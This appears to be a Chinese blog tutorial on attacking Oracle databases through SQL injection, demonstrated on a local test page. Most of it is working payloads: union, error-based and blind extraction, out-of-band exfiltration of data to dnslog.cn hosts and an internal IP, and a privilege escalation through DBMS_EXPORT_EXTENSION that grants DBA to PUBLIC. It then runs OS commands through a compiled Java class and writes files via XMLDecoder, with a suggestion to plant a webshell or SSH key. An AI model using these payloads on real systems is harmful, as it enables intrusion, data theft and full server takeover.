Oracle注入
Oracle和MySQL数据库语法大致相同,结构不太相同。最大的一个特点就是oracle可以调用Java代码。
对于“数据库”这个概念而言,Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP:
在Oracle中每个表空间中均存在一张dual表,这个表是虚表,并没有实际的存储意义,它永远只存储一条数据,因为Oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位,也就是select 1+1 from dual
。
再来看Oracle中用户和权限划分:Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的增删改查,DBA 则集合了所有的用户权限。在创建数据库时,会默认启用 sys、system 等用户:
select column, group_function(column)
from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];
Oracle要求select后必须指明要查询的表名,可以用dual。
Oracle使用 ||
拼接字符串,MySQL中为或运算。
单引号和双引号在Oracle中虽然都是字符串,但是双引号可以用来消除关键字,比如sysdate
。
Oracle中limit应该使用虚表中的rownum字段通过where条件判断。
Oracle中没有空字符,''
和’null’都是null,而MySQL中认为''
仍然是一个字符串。
Oracle对数据格式要求严格,比如union select
的时候,放到下文讲。
Oracle的系统表:
DBA_TABLES >= ALL_TABLES >= USER_TABLES
从现在开始,我们以注入点http://localhost:8080/oracleInject/index?username=admin
为例讲解。代码随便写一个jsp网页就行了。
获取数据库版本信息
http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +
获取操作系统版本信息
http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +
获取当前数据库
http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT name FROM v$database) from dual -- +
获取数据库用户
获取所有数据库用户
SELECT username FROM all_users;
SELECT name FROM sys.user$; -- 需要高权限
获取当前用户权限
SELECT * FROM session_privs
获取当前用户有权限的所有数据库
SELECT DISTINCT owner, table_name FROM all_tables
获取表,all_tables类似于MySQL中的information_schema.tables,里面的结构可以自己构造sql语句。
SELECT * FROM all_tables;
获取字段名
SELECT column_name FROM all_tab_columns
在Oracle启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。包括当前用户名等等。
SELECT SYS_CONTEXT('USERENV','SESSION_USER') from dual;
更多可用参数说明可以查阅 Oracle 提供的文档:SYS_CONTEXT
order by 猜字段数量,union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型,比如:
http://localhost:8080/oracleInject/index?username=admin' union select null,null,null from dual -- 正常
http://localhost:8080/oracleInject/index?username=admin' union select 1,null,null from dual -- 正常说明第一个字段是数字型
http://localhost:8080/oracleInject/index?username=admin' union select 1,2,null from dual -- 第二个字段为数字时错误
http://localhost:8080/oracleInject/index?username=admin' union select 1,'asd',null from dual -- 正常 为字符串 依此类推
查数据库版本和用户名
http://localhost:8080/oracleInject/index?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual --
查当前数据库
http://localhost:8080/oracleInject/index?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual --
查表,wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已经抛弃,可以用LISTAGG()替代
http://localhost:8080/oracleInject/index?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual --
但是LISTAGG()返回的是varchar类型,如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。
查字段
http://localhost:8080/oracleInject/index?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual --
有表名字段名出数据就不说了。
select utl_inaddr.get_host_name((select user from dual)) from dual;
11g之后,使用此函数的数据库用户需要有访问网络的权限
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
处理文本的函数,参数错误时会报错。
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
我在12c中测试失败。
http://localhost:8080/oracleInject/index?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
注意url编码,如果返回的数据有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。
select dbms_xdb_version.checkin((select user from dual)) from dual;
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
select UTL_INADDR.get_host_name((select user from dual)) from dual;
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
布尔盲注第一种是可以使用简单的字符串比较来进行,比如:
http://localhost:8080/oracleInject/index?username=admin' and (select substr(user, 1, 1) from dual)='S' --
然后还有一种是通过decode配合除数为0来进行布尔盲注。
http://localhost:8080/oracleInject/index?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --
select count(*) from all_objects
缺点就是不准。
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;
还可以配合decode
select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;
类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限,有限制。
需要出外网HTTP
dns解析带外
select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual
这个函数在 10g/11g 中是 public 权限.
SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;
SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;
如果 Oracle 版本 <= 10g,可以尝试以下函数:
说是xxe,实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp
select 1 from dual where 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.124.1/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual);
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':[email protected]/test"> %remote; %param1;]>'),'/l') from dual;
前文说了Oracle可以调用Java程序
影响版本:Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2
漏洞的成因是该函数的参数存在注入,而该函数的所有者是sys,所以通过注入就可以执行任意sql,该函数的执行权限为public,所以只要遇到一个oracle的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
http://localhost:8080/oracleInject/index?username=admin' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
http://localhost:8080/oracleInject/index?username=admin' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--
移步:
如果当前数据库用户具有connect和resource权限,则可以尝试使用反序列化来进行执行命令。Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机,而Oracle数据库则通过Java存储过程来支持Java的本地执行。
--create or replace function get_java_property(prop in varchar2) return varchar2
-- is language java name 'java.lang.System.getProperty(java.lang.String) return java.lang.String';
--/
select get_java_property('java.version') from dual;
原作者写的是java.name.System
,这里应该使用java.lang.System
虽然你以为可以执行Java代码了,直接冲Runtime.getRuntime().exec()就完事了,但是实际上Oracle对权限进行了细致的划分,并不能直接冲。我们可以用一个xml的反序列化来冲。
BEGIN
decodeme('<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.FileWriter">
<string>c:\\app\\1.txt</string>
<boolean>True</boolean>
<void method="write">
<string>aaa</string>
</void>
<void method="close" />
</object>
</java>');
END;
/
试了试好像不能执行命令,但是可以写文件。写个shell还是绰绰有余的,当然你还可以写ssh公钥。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。